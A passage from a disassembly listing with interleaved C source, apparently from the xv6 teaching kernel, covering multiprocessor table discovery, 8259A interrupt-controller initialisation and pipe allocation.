}
80103a39: c9 leave
80103a3a: c3 ret
80103a3b <mpsearch>:
// 1) in the first KB of the EBDA;
// 2) in the last KB of system base memory;
// 3) in the BIOS ROM between 0xE0000 and 0xFFFFF.
static struct mp*
mpsearch(void)
{
80103a3b: 55 push %ebp
80103a3c: 89 e5 mov %esp,%ebp
80103a3e: 83 ec 28 sub $0x28,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
80103a41: c7 45 f4 00 04 00 80 movl $0x80000400,-0xc(%ebp)
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103a48: 8b 45 f4 mov -0xc(%ebp),%eax
80103a4b: 83 c0 0f add $0xf,%eax
80103a4e: 0f b6 00 movzbl (%eax),%eax
80103a51: 0f b6 c0 movzbl %al,%eax
80103a54: c1 e0 08 shl $0x8,%eax
80103a57: 89 c2 mov %eax,%edx
80103a59: 8b 45 f4 mov -0xc(%ebp),%eax
80103a5c: 83 c0 0e add $0xe,%eax
80103a5f: 0f b6 00 movzbl (%eax),%eax
80103a62: 0f b6 c0 movzbl %al,%eax
80103a65: 09 d0 or %edx,%eax
80103a67: c1 e0 04 shl $0x4,%eax
80103a6a: 89 45 f0 mov %eax,-0x10(%ebp)
80103a6d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103a71: 74 21 je 80103a94 <mpsearch+0x59>
if((mp = mpsearch1(p, 1024)))
80103a73: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103a7a: 00
80103a7b: 8b 45 f0 mov -0x10(%ebp),%eax
80103a7e: 89 04 24 mov %eax,(%esp)
80103a81: e8 40 ff ff ff call 801039c6 <mpsearch1>
80103a86: 89 45 ec mov %eax,-0x14(%ebp)
80103a89: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103a8d: 74 50 je 80103adf <mpsearch+0xa4>
return mp;
80103a8f: 8b 45 ec mov -0x14(%ebp),%eax
80103a92: eb 5f jmp 80103af3 <mpsearch+0xb8>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103a94: 8b 45 f4 mov -0xc(%ebp),%eax
80103a97: 83 c0 14 add $0x14,%eax
80103a9a: 0f b6 00 movzbl (%eax),%eax
80103a9d: 0f b6 c0 movzbl %al,%eax
80103aa0: c1 e0 08 shl $0x8,%eax
80103aa3: 89 c2 mov %eax,%edx
80103aa5: 8b 45 f4 mov -0xc(%ebp),%eax
80103aa8: 83 c0 13 add $0x13,%eax
80103aab: 0f b6 00 movzbl (%eax),%eax
80103aae: 0f b6 c0 movzbl %al,%eax
80103ab1: 09 d0 or %edx,%eax
80103ab3: c1 e0 0a shl $0xa,%eax
80103ab6: 89 45 f0 mov %eax,-0x10(%ebp)
if((mp = mpsearch1(p-1024, 1024)))
80103ab9: 8b 45 f0 mov -0x10(%ebp),%eax
80103abc: 2d 00 04 00 00 sub $0x400,%eax
80103ac1: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103ac8: 00
80103ac9: 89 04 24 mov %eax,(%esp)
80103acc: e8 f5 fe ff ff call 801039c6 <mpsearch1>
80103ad1: 89 45 ec mov %eax,-0x14(%ebp)
80103ad4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103ad8: 74 05 je 80103adf <mpsearch+0xa4>
return mp;
80103ada: 8b 45 ec mov -0x14(%ebp),%eax
80103add: eb 14 jmp 80103af3 <mpsearch+0xb8>
}
return mpsearch1(0xF0000, 0x10000);
80103adf: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80103ae6: 00
80103ae7: c7 04 24 00 00 0f 00 movl $0xf0000,(%esp)
80103aee: e8 d3 fe ff ff call 801039c6 <mpsearch1>
}
80103af3: c9 leave
80103af4: c3 ret
80103af5 <mpconfig>:
// Check for correct signature, calculate the checksum and,
// if correct, check the version.
// To do: check extended table checksum.
static struct mpconf*
mpconfig(struct mp **pmp)
{
80103af5: 55 push %ebp
80103af6: 89 e5 mov %esp,%ebp
80103af8: 83 ec 28 sub $0x28,%esp
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103afb: e8 3b ff ff ff call 80103a3b <mpsearch>
80103b00: 89 45 f4 mov %eax,-0xc(%ebp)
80103b03: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103b07: 74 0a je 80103b13 <mpconfig+0x1e>
80103b09: 8b 45 f4 mov -0xc(%ebp),%eax
80103b0c: 8b 40 04 mov 0x4(%eax),%eax
80103b0f: 85 c0 test %eax,%eax
80103b11: 75 0a jne 80103b1d <mpconfig+0x28>
return 0;
80103b13: b8 00 00 00 00 mov $0x0,%eax
80103b18: e9 83 00 00 00 jmp 80103ba0 <mpconfig+0xab>
conf = (struct mpconf*) p2v((uint) mp->physaddr);
80103b1d: 8b 45 f4 mov -0xc(%ebp),%eax
80103b20: 8b 40 04 mov 0x4(%eax),%eax
80103b23: 89 04 24 mov %eax,(%esp)
80103b26: e8 fd fd ff ff call 80103928 <p2v>
80103b2b: 89 45 f0 mov %eax,-0x10(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
80103b2e: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80103b35: 00
80103b36: c7 44 24 04 1d 89 10 movl $0x8010891d,0x4(%esp)
80103b3d: 80
80103b3e: 8b 45 f0 mov -0x10(%ebp),%eax
80103b41: 89 04 24 mov %eax,(%esp)
80103b44: e8 93 15 00 00 call 801050dc <memcmp>
80103b49: 85 c0 test %eax,%eax
80103b4b: 74 07 je 80103b54 <mpconfig+0x5f>
return 0;
80103b4d: b8 00 00 00 00 mov $0x0,%eax
80103b52: eb 4c jmp 80103ba0 <mpconfig+0xab>
if(conf->version != 1 && conf->version != 4)
80103b54: 8b 45 f0 mov -0x10(%ebp),%eax
80103b57: 0f b6 40 06 movzbl 0x6(%eax),%eax
80103b5b: 3c 01 cmp $0x1,%al
80103b5d: 74 12 je 80103b71 <mpconfig+0x7c>
80103b5f: 8b 45 f0 mov -0x10(%ebp),%eax
80103b62: 0f b6 40 06 movzbl 0x6(%eax),%eax
80103b66: 3c 04 cmp $0x4,%al
80103b68: 74 07 je 80103b71 <mpconfig+0x7c>
return 0;
80103b6a: b8 00 00 00 00 mov $0x0,%eax
80103b6f: eb 2f jmp 80103ba0 <mpconfig+0xab>
if(sum((uchar*)conf, conf->length) != 0)
80103b71: 8b 45 f0 mov -0x10(%ebp),%eax
80103b74: 0f b7 40 04 movzwl 0x4(%eax),%eax
80103b78: 0f b7 c0 movzwl %ax,%eax
80103b7b: 89 44 24 04 mov %eax,0x4(%esp)
80103b7f: 8b 45 f0 mov -0x10(%ebp),%eax
80103b82: 89 04 24 mov %eax,(%esp)
80103b85: e8 04 fe ff ff call 8010398e <sum>
80103b8a: 84 c0 test %al,%al
80103b8c: 74 07 je 80103b95 <mpconfig+0xa0>
return 0;
80103b8e: b8 00 00 00 00 mov $0x0,%eax
80103b93: eb 0b jmp 80103ba0 <mpconfig+0xab>
*pmp = mp;
80103b95: 8b 45 08 mov 0x8(%ebp),%eax
80103b98: 8b 55 f4 mov -0xc(%ebp),%edx
80103b9b: 89 10 mov %edx,(%eax)
return conf;
80103b9d: 8b 45 f0 mov -0x10(%ebp),%eax
}
80103ba0: c9 leave
80103ba1: c3 ret
80103ba2 <mpinit>:
void
mpinit(void)
{
80103ba2: 55 push %ebp
80103ba3: 89 e5 mov %esp,%ebp
80103ba5: 83 ec 38 sub $0x38,%esp
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
bcpu = &cpus[0];
80103ba8: c7 05 44 b6 10 80 60 movl $0x80112360,0x8010b644
80103baf: 23 11 80
if((conf = mpconfig(&mp)) == 0)
80103bb2: 8d 45 e0 lea -0x20(%ebp),%eax
80103bb5: 89 04 24 mov %eax,(%esp)
80103bb8: e8 38 ff ff ff call 80103af5 <mpconfig>
80103bbd: 89 45 f0 mov %eax,-0x10(%ebp)
80103bc0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103bc4: 75 05 jne 80103bcb <mpinit+0x29>
return;
80103bc6: e9 9c 01 00 00 jmp 80103d67 <mpinit+0x1c5>
ismp = 1;
80103bcb: c7 05 44 23 11 80 01 movl $0x1,0x80112344
80103bd2: 00 00 00
lapic = (uint*)conf->lapicaddr;
80103bd5: 8b 45 f0 mov -0x10(%ebp),%eax
80103bd8: 8b 40 24 mov 0x24(%eax),%eax
80103bdb: a3 5c 22 11 80 mov %eax,0x8011225c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103be0: 8b 45 f0 mov -0x10(%ebp),%eax
80103be3: 83 c0 2c add $0x2c,%eax
80103be6: 89 45 f4 mov %eax,-0xc(%ebp)
80103be9: 8b 45 f0 mov -0x10(%ebp),%eax
80103bec: 0f b7 40 04 movzwl 0x4(%eax),%eax
80103bf0: 0f b7 d0 movzwl %ax,%edx
80103bf3: 8b 45 f0 mov -0x10(%ebp),%eax
80103bf6: 01 d0 add %edx,%eax
80103bf8: 89 45 ec mov %eax,-0x14(%ebp)
80103bfb: e9 f4 00 00 00 jmp 80103cf4 <mpinit+0x152>
switch(*p){
80103c00: 8b 45 f4 mov -0xc(%ebp),%eax
80103c03: 0f b6 00 movzbl (%eax),%eax
80103c06: 0f b6 c0 movzbl %al,%eax
80103c09: 83 f8 04 cmp $0x4,%eax
80103c0c: 0f 87 bf 00 00 00 ja 80103cd1 <mpinit+0x12f>
80103c12: 8b 04 85 60 89 10 80 mov -0x7fef76a0(,%eax,4),%eax
80103c19: ff e0 jmp *%eax
case MPPROC:
proc = (struct mpproc*)p;
80103c1b: 8b 45 f4 mov -0xc(%ebp),%eax
80103c1e: 89 45 e8 mov %eax,-0x18(%ebp)
if(ncpu != proc->apicid){
80103c21: 8b 45 e8 mov -0x18(%ebp),%eax
80103c24: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103c28: 0f b6 d0 movzbl %al,%edx
80103c2b: a1 c0 29 11 80 mov 0x801129c0,%eax
80103c30: 39 c2 cmp %eax,%edx
80103c32: 74 2d je 80103c61 <mpinit+0xbf>
cprintf("mpinit: ncpu=%d apicid=%d\n", ncpu, proc->apicid);
80103c34: 8b 45 e8 mov -0x18(%ebp),%eax
80103c37: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103c3b: 0f b6 d0 movzbl %al,%edx
80103c3e: a1 c0 29 11 80 mov 0x801129c0,%eax
80103c43: 89 54 24 08 mov %edx,0x8(%esp)
80103c47: 89 44 24 04 mov %eax,0x4(%esp)
80103c4b: c7 04 24 22 89 10 80 movl $0x80108922,(%esp)
80103c52: e8 49 c7 ff ff call 801003a0 <cprintf>
ismp = 0;
80103c57: c7 05 44 23 11 80 00 movl $0x0,0x80112344
80103c5e: 00 00 00
}
if(proc->flags & MPBOOT)
80103c61: 8b 45 e8 mov -0x18(%ebp),%eax
80103c64: 0f b6 40 03 movzbl 0x3(%eax),%eax
80103c68: 0f b6 c0 movzbl %al,%eax
80103c6b: 83 e0 02 and $0x2,%eax
80103c6e: 85 c0 test %eax,%eax
80103c70: 74 15 je 80103c87 <mpinit+0xe5>
bcpu = &cpus[ncpu];
80103c72: a1 c0 29 11 80 mov 0x801129c0,%eax
80103c77: 69 c0 cc 00 00 00 imul $0xcc,%eax,%eax
80103c7d: 05 60 23 11 80 add $0x80112360,%eax
80103c82: a3 44 b6 10 80 mov %eax,0x8010b644
cpus[ncpu].id = ncpu;
80103c87: 8b 15 c0 29 11 80 mov 0x801129c0,%edx
80103c8d: a1 c0 29 11 80 mov 0x801129c0,%eax
80103c92: 69 d2 cc 00 00 00 imul $0xcc,%edx,%edx
80103c98: 81 c2 60 23 11 80 add $0x80112360,%edx
80103c9e: 88 02 mov %al,(%edx)
ncpu++;
80103ca0: a1 c0 29 11 80 mov 0x801129c0,%eax
80103ca5: 83 c0 01 add $0x1,%eax
80103ca8: a3 c0 29 11 80 mov %eax,0x801129c0
p += sizeof(struct mpproc);
80103cad: 83 45 f4 14 addl $0x14,-0xc(%ebp)
continue;
80103cb1: eb 41 jmp 80103cf4 <mpinit+0x152>
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
80103cb3: 8b 45 f4 mov -0xc(%ebp),%eax
80103cb6: 89 45 e4 mov %eax,-0x1c(%ebp)
ioapicid = ioapic->apicno;
80103cb9: 8b 45 e4 mov -0x1c(%ebp),%eax
80103cbc: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103cc0: a2 40 23 11 80 mov %al,0x80112340
p += sizeof(struct mpioapic);
80103cc5: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103cc9: eb 29 jmp 80103cf4 <mpinit+0x152>
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103ccb: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103ccf: eb 23 jmp 80103cf4 <mpinit+0x152>
default:
cprintf("mpinit: unknown config type %x\n", *p);
80103cd1: 8b 45 f4 mov -0xc(%ebp),%eax
80103cd4: 0f b6 00 movzbl (%eax),%eax
80103cd7: 0f b6 c0 movzbl %al,%eax
80103cda: 89 44 24 04 mov %eax,0x4(%esp)
80103cde: c7 04 24 40 89 10 80 movl $0x80108940,(%esp)
80103ce5: e8 b6 c6 ff ff call 801003a0 <cprintf>
ismp = 0;
80103cea: c7 05 44 23 11 80 00 movl $0x0,0x80112344
80103cf1: 00 00 00
bcpu = &cpus[0];
if((conf = mpconfig(&mp)) == 0)
return;
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103cf4: 8b 45 f4 mov -0xc(%ebp),%eax
80103cf7: 3b 45 ec cmp -0x14(%ebp),%eax
80103cfa: 0f 82 00 ff ff ff jb 80103c00 <mpinit+0x5e>
default:
cprintf("mpinit: unknown config type %x\n", *p);
ismp = 0;
}
}
if(!ismp){
80103d00: a1 44 23 11 80 mov 0x80112344,%eax
80103d05: 85 c0 test %eax,%eax
80103d07: 75 1d jne 80103d26 <mpinit+0x184>
// Didn't like what we found; fall back to no MP.
ncpu = 1;
80103d09: c7 05 c0 29 11 80 01 movl $0x1,0x801129c0
80103d10: 00 00 00
lapic = 0;
80103d13: c7 05 5c 22 11 80 00 movl $0x0,0x8011225c
80103d1a: 00 00 00
ioapicid = 0;
80103d1d: c6 05 40 23 11 80 00 movb $0x0,0x80112340
return;
80103d24: eb 41 jmp 80103d67 <mpinit+0x1c5>
}
if(mp->imcrp){
80103d26: 8b 45 e0 mov -0x20(%ebp),%eax
80103d29: 0f b6 40 0c movzbl 0xc(%eax),%eax
80103d2d: 84 c0 test %al,%al
80103d2f: 74 36 je 80103d67 <mpinit+0x1c5>
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
80103d31: c7 44 24 04 70 00 00 movl $0x70,0x4(%esp)
80103d38: 00
80103d39: c7 04 24 22 00 00 00 movl $0x22,(%esp)
80103d40: e8 0d fc ff ff call 80103952 <outb>
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80103d45: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103d4c: e8 e4 fb ff ff call 80103935 <inb>
80103d51: 83 c8 01 or $0x1,%eax
80103d54: 0f b6 c0 movzbl %al,%eax
80103d57: 89 44 24 04 mov %eax,0x4(%esp)
80103d5b: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103d62: e8 eb fb ff ff call 80103952 <outb>
}
}
80103d67: c9 leave
80103d68: c3 ret
80103d69 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80103d69: 55 push %ebp
80103d6a: 89 e5 mov %esp,%ebp
80103d6c: 83 ec 08 sub $0x8,%esp
80103d6f: 8b 55 08 mov 0x8(%ebp),%edx
80103d72: 8b 45 0c mov 0xc(%ebp),%eax
80103d75: 66 89 55 fc mov %dx,-0x4(%ebp)
80103d79: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103d7c: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80103d80: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80103d84: ee out %al,(%dx)
}
80103d85: c9 leave
80103d86: c3 ret
80103d87 <picsetmask>:
// Initial IRQ mask has interrupt 2 enabled (for slave 8259A).
static ushort irqmask = 0xFFFF & ~(1<<IRQ_SLAVE);
static void
picsetmask(ushort mask)
{
80103d87: 55 push %ebp
80103d88: 89 e5 mov %esp,%ebp
80103d8a: 83 ec 0c sub $0xc,%esp
80103d8d: 8b 45 08 mov 0x8(%ebp),%eax
80103d90: 66 89 45 fc mov %ax,-0x4(%ebp)
irqmask = mask;
80103d94: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103d98: 66 a3 00 b0 10 80 mov %ax,0x8010b000
outb(IO_PIC1+1, mask);
80103d9e: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103da2: 0f b6 c0 movzbl %al,%eax
80103da5: 89 44 24 04 mov %eax,0x4(%esp)
80103da9: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103db0: e8 b4 ff ff ff call 80103d69 <outb>
outb(IO_PIC2+1, mask >> 8);
80103db5: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103db9: 66 c1 e8 08 shr $0x8,%ax
80103dbd: 0f b6 c0 movzbl %al,%eax
80103dc0: 89 44 24 04 mov %eax,0x4(%esp)
80103dc4: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103dcb: e8 99 ff ff ff call 80103d69 <outb>
}
80103dd0: c9 leave
80103dd1: c3 ret
80103dd2 <picenable>:
void
picenable(int irq)
{
80103dd2: 55 push %ebp
80103dd3: 89 e5 mov %esp,%ebp
80103dd5: 83 ec 04 sub $0x4,%esp
picsetmask(irqmask & ~(1<<irq));
80103dd8: 8b 45 08 mov 0x8(%ebp),%eax
80103ddb: ba 01 00 00 00 mov $0x1,%edx
80103de0: 89 c1 mov %eax,%ecx
80103de2: d3 e2 shl %cl,%edx
80103de4: 89 d0 mov %edx,%eax
80103de6: f7 d0 not %eax
80103de8: 89 c2 mov %eax,%edx
80103dea: 0f b7 05 00 b0 10 80 movzwl 0x8010b000,%eax
80103df1: 21 d0 and %edx,%eax
80103df3: 0f b7 c0 movzwl %ax,%eax
80103df6: 89 04 24 mov %eax,(%esp)
80103df9: e8 89 ff ff ff call 80103d87 <picsetmask>
}
80103dfe: c9 leave
80103dff: c3 ret
80103e00 <picinit>:
// Initialize the 8259A interrupt controllers.
void
picinit(void)
{
80103e00: 55 push %ebp
80103e01: 89 e5 mov %esp,%ebp
80103e03: 83 ec 08 sub $0x8,%esp
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
80103e06: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103e0d: 00
80103e0e: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e15: e8 4f ff ff ff call 80103d69 <outb>
outb(IO_PIC2+1, 0xFF);
80103e1a: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103e21: 00
80103e22: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103e29: e8 3b ff ff ff call 80103d69 <outb>
// ICW1: 0001g0hi
// g: 0 = edge triggering, 1 = level triggering
// h: 0 = cascaded PICs, 1 = master only
// i: 0 = no ICW4, 1 = ICW4 required
outb(IO_PIC1, 0x11);
80103e2e: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103e35: 00
80103e36: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103e3d: e8 27 ff ff ff call 80103d69 <outb>
// ICW2: Vector offset
outb(IO_PIC1+1, T_IRQ0);
80103e42: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
80103e49: 00
80103e4a: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e51: e8 13 ff ff ff call 80103d69 <outb>
// ICW3: (master PIC) bit mask of IR lines connected to slaves
// (slave PIC) 3-bit # of slave's connection to master
outb(IO_PIC1+1, 1<<IRQ_SLAVE);
80103e56: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp)
80103e5d: 00
80103e5e: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e65: e8 ff fe ff ff call 80103d69 <outb>
// m: 0 = slave PIC, 1 = master PIC
// (ignored when b is 0, as the master/slave role
// can be hardwired).
// a: 1 = Automatic EOI mode
// p: 0 = MCS-80/85 mode, 1 = intel x86 mode
outb(IO_PIC1+1, 0x3);
80103e6a: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103e71: 00
80103e72: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e79: e8 eb fe ff ff call 80103d69 <outb>
// Set up slave (8259A-2)
outb(IO_PIC2, 0x11); // ICW1
80103e7e: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103e85: 00
80103e86: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103e8d: e8 d7 fe ff ff call 80103d69 <outb>
outb(IO_PIC2+1, T_IRQ0 + 8); // ICW2
80103e92: c7 44 24 04 28 00 00 movl $0x28,0x4(%esp)
80103e99: 00
80103e9a: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103ea1: e8 c3 fe ff ff call 80103d69 <outb>
outb(IO_PIC2+1, IRQ_SLAVE); // ICW3
80103ea6: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
80103ead: 00
80103eae: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103eb5: e8 af fe ff ff call 80103d69 <outb>
// NB Automatic EOI mode doesn't tend to work on the slave.
// Linux source code says it's "to be investigated".
outb(IO_PIC2+1, 0x3); // ICW4
80103eba: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103ec1: 00
80103ec2: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103ec9: e8 9b fe ff ff call 80103d69 <outb>
// OCW3: 0ef01prs
// ef: 0x = NOP, 10 = clear specific mask, 11 = set specific mask
// p: 0 = no polling, 1 = polling mode
// rs: 0x = NOP, 10 = read IRR, 11 = read ISR
outb(IO_PIC1, 0x68); // clear specific mask
80103ece: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103ed5: 00
80103ed6: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103edd: e8 87 fe ff ff call 80103d69 <outb>
outb(IO_PIC1, 0x0a); // read IRR by default
80103ee2: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103ee9: 00
80103eea: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103ef1: e8 73 fe ff ff call 80103d69 <outb>
outb(IO_PIC2, 0x68); // OCW3
80103ef6: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103efd: 00
80103efe: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103f05: e8 5f fe ff ff call 80103d69 <outb>
outb(IO_PIC2, 0x0a); // OCW3
80103f0a: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103f11: 00
80103f12: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103f19: e8 4b fe ff ff call 80103d69 <outb>
if(irqmask != 0xFFFF)
80103f1e: 0f b7 05 00 b0 10 80 movzwl 0x8010b000,%eax
80103f25: 66 83 f8 ff cmp $0xffff,%ax
80103f29: 74 12 je 80103f3d <picinit+0x13d>
picsetmask(irqmask);
80103f2b: 0f b7 05 00 b0 10 80 movzwl 0x8010b000,%eax
80103f32: 0f b7 c0 movzwl %ax,%eax
80103f35: 89 04 24 mov %eax,(%esp)
80103f38: e8 4a fe ff ff call 80103d87 <picsetmask>
}
80103f3d: c9 leave
80103f3e: c3 ret
80103f3f <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103f3f: 55 push %ebp
80103f40: 89 e5 mov %esp,%ebp
80103f42: 83 ec 28 sub $0x28,%esp
struct pipe *p;
p = 0;
80103f45: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
*f0 = *f1 = 0;
80103f4c: 8b 45 0c mov 0xc(%ebp),%eax
80103f4f: c7 00 00 00 00 00 movl $0x0,(%eax)
80103f55: 8b 45 0c mov 0xc(%ebp),%eax
80103f58: 8b 10 mov (%eax),%edx
80103f5a: 8b 45 08 mov 0x8(%ebp),%eax
80103f5d: 89 10 mov %edx,(%eax)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
80103f5f: e8 c2 cf ff ff call 80100f26 <filealloc>
80103f64: 8b 55 08 mov 0x8(%ebp),%edx
80103f67: 89 02 mov %eax,(%edx)
80103f69: 8b 45 08 mov 0x8(%ebp),%eax
80103f6c: 8b 00 mov (%eax),%eax
80103f6e: 85 c0 test %eax,%eax
80103f70: 0f 84 c8 00 00 00 je 8010403e <pipealloc+0xff>
80103f76: e8 ab cf ff ff call 80100f26 <filealloc>
80103f7b: 8b 55 0c mov 0xc(%ebp),%edx
80103f7e: 89 02 mov %eax,(%edx)
80103f80: 8b 45 0c mov 0xc(%ebp),%eax
80103f83: 8b 00 mov (%eax),%eax
80103f85: 85 c0 test %eax,%eax
80103f87: 0f 84 b1 00 00 00 je 8010403e <pipealloc+0xff>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103f8d: e8 50 eb ff ff call 80102ae2 <kalloc>
80103f92: 89 45 f4 mov %eax,-0xc(%ebp)
80103f95: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103f99: 75 05 jne 80103fa0 <pipealloc+0x61>
goto bad;
80103f9b: e9 9e 00 00 00 jmp 8010403e <pipealloc+0xff>
p->readopen = 1;
80103fa0: 8b 45 f4 mov -0xc(%ebp),%eax
80103fa3: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
80103faa: 00 00 00
p->writeopen = 1;
80103fad: 8b 45 f4 mov -0xc(%ebp),%eax
80103fb0: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
80103fb7: 00 00 00
p->nwrite = 0;
80103fba: 8b 45 f4 mov -0xc(%ebp),%eax
80103fbd: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
80103fc4: 00 00 00
p->nread = 0;
80103fc7: 8b 45 f4 mov -0xc(%ebp),%eax
80103fca: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80103fd1: 00 00 00
initlock(&p->lock, "pipe");
80103fd4: 8b 45 f4 mov -0xc(%ebp),%eax
80103fd7: c7 44 24 04 74 89 10 movl $0x80108974,0x4(%esp)
80103fde: 80
80103fdf: 89 04 24 mov %eax,(%esp)
80103fe2: e8 09 0e 00 00 call 80104df0 <initlock>
(*f0)->type = FD_PIPE;
80103fe7: 8b 45 08 mov 0x8(%ebp),%eax
80103fea: 8b 00 mov (%eax),%eax
80103fec: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80103ff2: 8b 45 08 mov 0x8(%ebp),%eax
80103ff5: 8b 00 mov (%eax),%eax
80103ff7: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
80103ffb: 8b 45 08 mov 0x8(%ebp),%eax
80103ffe: 8b 00 mov (%eax),%eax
80104000: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80104004: 8b 45 08 mov 0x8(%ebp),%eax
80104007: 8b 00 mov (%eax),%eax
80104009: 8b 55 f4 mov -0xc(%ebp),%edx
8010400c: 89 50 0c mov %edx,0xc(%eax)
(*f1)->type = FD_PIPE;
8010400f: 8b 45 0c mov 0xc(%ebp),%eax
80104012: 8b 00 mov (%eax),%eax
80104014: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
8010401a: 8b 45 0c mov 0xc(%ebp),%eax
8010401d: 8b 00 mov (%eax),%eax
8010401f: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80104023: 8b 45 0c mov 0xc(%ebp),%eax
80104026: 8b 00 mov (%eax),%eax
80104028: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
8010402c: 8b 45 0c mov 0xc(%ebp),%eax
8010402f: 8b 00 mov (%eax),%eax
80104031: 8b 55 f4 mov -0xc(%ebp),%edx
80104034: 89 50 0c mov %edx,0xc(%eax)
return 0;
80104037: b8 00 00 00 00 mov $0x0,%eax
8010403c: eb 42 jmp 80104080 <pipealloc+0x141>
//PAGEBREAK: 20
bad:
if(p)
8010403e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80104042: 74 0b je 8010404f <pipealloc+0x110>
kfree((char*)p);
80104044: 8b 45 f4 mov -0xc(%ebp),%eax
80104047: 89 04 24 mov %eax,(%esp)
8010404a: e8 fa e9 ff ff call 80102a49 <kfree>
if(*f0)
8010404f: 8b 45 08 mov 0x8(%ebp),%eax
80104052: 8b 00 mov (%eax),%eax
80104054: 85 c0 test %eax,%eax
80104056: 74 0d je 80104065 <pipealloc+0x126>
fileclose(*f0);
80104058: 8b 45 08 mov 0x8(%ebp),%eax
8010405b: 8b 00 mov (%eax),%eax
8010405d: 89 04 24 mov %eax,(%esp)
80104060: e8 69 cf ff ff call 80100fce <fileclose>
if(*f1)
80104065: 8b 45 0c mov 0xc(%ebp),%eax
80104068: 8b 00 mov (%eax),%eax
8010406a: 85 c0 test %eax,%eax
8010406c: 74 0d je 8010407b <pipealloc+0x13c>
fileclose(*f1);
8010406e: 8b 45 0c mov 0xc(%ebp),%eax
80104071: 8b 00 mov (%eax),%eax
80104073: 89 04 24 mov %eax,(%esp)
80104076: e8 53 cf ff ff call 80100fce <fileclose>
return -1;
8010407b: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104080: c9 leave
80104081: c3 ret
80104082 <pipeclose>:
void
